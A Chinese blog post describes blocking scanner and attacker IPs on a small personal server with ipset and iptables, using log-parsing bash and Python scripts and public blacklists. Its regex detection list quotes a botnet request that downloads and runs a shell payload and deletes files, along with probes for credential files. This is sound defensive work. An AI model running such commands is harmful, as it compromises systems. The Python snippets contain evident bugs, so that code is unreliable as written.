小破站批量屏蔽IP地址实践
文档说明:只记录关键地方;
缘由:
小破站,自己用,不挂广告,不推广,也不允许搜索引擎抓取(robots.txt不允许抓取)
但是每天依然是有大量的漏洞扫描、嗅探,还有伪装成搜索引擎然后抓取,这就勾起了好奇心 。
前面的叙述,都是废话
真实原因: 流量费贵
屏蔽原理 ipset + iptables (真正起作用的是 netfilter)
2 句命令实现屏蔽IP的功能
nftables 和 iptables 都是 netfilter 管理工具,真正起作用的是 netfilter(linux内核防火墙)
规则少的话还是用iptables
小破站,用不上BGP协议屏蔽IP地址的功能,但是可以使用它提供的黑名单
话不多说,直接上脚本
如果你还运行容器,你会发现,这个屏蔽功能,在容器环境下,并不生效,这是因为,报文在 PREROUTING 环节已经进入容器设置的链。它的规则优先级比我们自己定义的高
想让容器生效请看这篇 https://www.cnblogs.com/jingjingxyk/p/16867108.html
# 屏蔽IP或者IP地址段功能 ipset create blocklist-ip hash:net iptables -I INPUT -m set --match-set blocklist-ip src -j DROP # 下面添加需要屏蔽的IP地址 ipset add blocklist-ip 34.100.239.202 ipset add blocklist-ip 51.75.123.107 # 查看 blocklist-ip 集合的内容 ipset list blocklist-ip
上面是已经准备好了屏蔽IP地址的功能,下面准备要屏蔽的IP地址了
方式一: 读取nginx日志、auth.log文件等,用匹配的规则把符要求的IP地址读取出来
源码先等等,虽然写好了,得把一些信息移除,确认没问题,再公开
实际做法,实在每台主机上事实收集,用消息队列对送到处理中心,统一处理,每台主机上也有接受下发指令的 agent
# 收集ssh 攻击源ip ssh_attack_log=${__DIR__}/ssh_attack.log echo '' > ${ssh_attack_log} for auth_log in '/var/log/auth.log' '/var/log/auth.log.1' do line_total=$(grep 'Unable to negotiate with' $auth_log | wc -l ) if test $line_total -gt 0 then grep 'Unable to negotiate with' $auth_log >> ${ssh_attack_log} fi line_total=$(grep 'ssh_dispatch_run_fatal: Connection from' $auth_log | wc -l ) if test $line_total -gt 0 then grep 'ssh_dispatch_run_fatal: Connection from' $auth_log >> ${ssh_attack_log} fi line_total=$(grep 'Invalid user' $auth_log | wc -l ) if test $line_total -gt 0 then grep 'Invalid user' $auth_log >> ${ssh_attack_log} fi line_total=$(grep 'invalid format' $auth_log | wc -l ) if test $line_total -gt 0 then grep 'invalid format' $auth_log >> ${ssh_attack_log} fi done
# nginx 日志 docker-compose -f docker-compose.yaml logs > nginx.log
# 获取屏蔽IP的python 脚本 #!/usr/bin/python # -*- coding: UTF-8 -*- import concurrent.futures import os import subprocess import fileinput import time import re import rule_filter import IPy # 匹配规则 def match(line ): ip=None line=str(line).strip() search = re.search("(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", line) if search: for reg in rule_filter.match_reg_arr: result = re.search(reg, line) if result: ip = search.group(1) return ip if __name__ == '__main__': current_dir = os.path.dirname(os.path.abspath(__file__)) start_time = time.perf_counter() ip_list=[] with fileinput.input( files=( current_dir + '/nginx.log ', current_dir + '/ssh_attack.log' ) ) as f: for line in f: ip=match(line) if ip: ip_list.append(ip) # 保留IP、你自己的IP、服务器IP要排除,否则屏蔽了,你自己连不上自己的服务器 with('ip_list.txt','w') as f: f.write('\n'.join(ip_list)) end_time = time.perf_counter() print('花费时间 {} seconds'.format(end_time - start_time))
# rule_filter.py # 一个静态站,匹配IP地址规则 # 规则自己添加,并不通用,按需配置 def match_reg_arr(): return [ "/boaform/admin/formLogin", r'boaform', r'/GponForm/diag_Form\?images/', "project_patchwatch", '/editBlackAndWhiteList', r'microsoft\.exchange\.ediscovery\.exporttool\.application', r'/pma/scripts/setup\.php', r'/\.aws/credentials', r'/\.git/config', r'/\.env', r'/\.environments', r'\.git/HEAD', r'clients_live', r'w00tw00t', r'Miniweb\.css', r'SSTP_DUPLEX_POST', r'Administrator', r'__Additional', r'NetSystemsResearch', r'Homebrew-install', r'/Home/Get/getJnd28', 'confluence-markdown-macro-1.6.4.ja', r'JNapier', r'/cgi-bin/index2\.asp', r"GET /shell\?cd\+/tmp;rm\+-rf\+\*;wget\+synns\.cf/jaws;sh\+/tmp/jaws HTTP/1\.1", r"/tmp/jaws", r'Mozi\.m\+-O\+', r'/tmp/Mozi\.m', r'/setup\.cgi', r'saconfig/secure/yunwei\.js', r'index/user/get_server_info', r'Build/JRO03D', r'Gecko/20100101 Firefox', r'scaninfo@paloaltonetworks\.com', r'\"NetcraftSurveyAgent', r"Mozilla/5\.0 \(compatible; NetcraftSurveyAgent/1\.0; \+info@netcraft.com\)", r'Build/MRA58N', r'netsystemsresearch.com', r'/pma/scripts/setup\.php', r'SM-G900P Build/LRX21T', r'/wp-login.php', r"AlexaMediaPlayer/2\.1\.4676\.0 \(Linux;Android 5.1.1\) ExoPlayerLib/1\.5\.9", r'Linux Gnu \(cow\)', r"hq,h2c,h2,spdy/3,spdy/2,spdy/1,http/1\.1,http/1\.0,http/0\.9", r"http/0\.9,http/1\.0,http/1\.1,spdy/1,spdy/2,spdy/3,h2,h2c,hq", r"\"wp_is_mobile\"", r"\"XTC\"", r'gbrmss/', r"\"fasthttp\"", r"\"MGLNDD_", r"Linux Gnu \(cow\)", r"libwww-perl/", r"zgrab/", r"masscan-ng/", r"masscan/", r"SSH-2\.0-libssh2_1\.8\.2", r'InternetMeasurement', r'CensysInspect\/', r'python-requests/', r'\"SSH-2\.0-Go\"', r'TurnitinBot', r'USER anonymous', r'\"panscient\.com\"', r'SemrushBot/', r'l9tcpid/', r'Roku/DVP', r'Scrapy/', r'\"Offline Explorer/', r'Neevabot/', r"blackhats\.romanian\.anti-sec", r"\"OPTIONS / RTSP/1\.0\"", r"/info\.php", r"/xmlrpc\.php\?rsd", r"/\?rest_route=/wp/v2/users/", r"client sent invalid method while reading client request line, client", r"\"GET /setup\.cgi", r"\"REQMOD icap://", r"mstshash=", r"about\.censys\.io", ]
方式二: 借助公共的IP屏蔽系统获得需要屏蔽的IP名单
通过公开的服务,获取屏蔽源地址
wget -O public-ip-blacklist/ustc-blacklist.txt http://hpfeeds.ustc.edu.cn/list.php?txt wget -O public-ip-blacklist/neu-ssh-blacklist.txt http://antivirus.neu.edu.cn/ssh/lists/neu.txt wget -O public-ip-blacklist/ustc-mailblackip.txt http://blackip.ustc.edu.cn/mailblackip.php?txt
方式三: 通过日志收集到的SSH攻击来源IP列表
打开浏览器控制台,然后执行下列代码,然后复制所有ip地址即可
let ips=[] document.querySelectorAll('table tbody tr').forEach((value,key,array)=>{ ips.push(value.querySelector('td').innerText.trim()) }) console.log(ips.join('\n'))
准备好了IP黑名单列表,现在批量添加IP地址
ip_list=($(cat latest-blocklist.txt)) for i in $( seq 0 $((${#ip_list[*]} - 1)) ) do ipset add blacklist-ip-cidr ${ip_list[i]} done
ssh+2FA+fail2ban 只允许密钥登陆
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术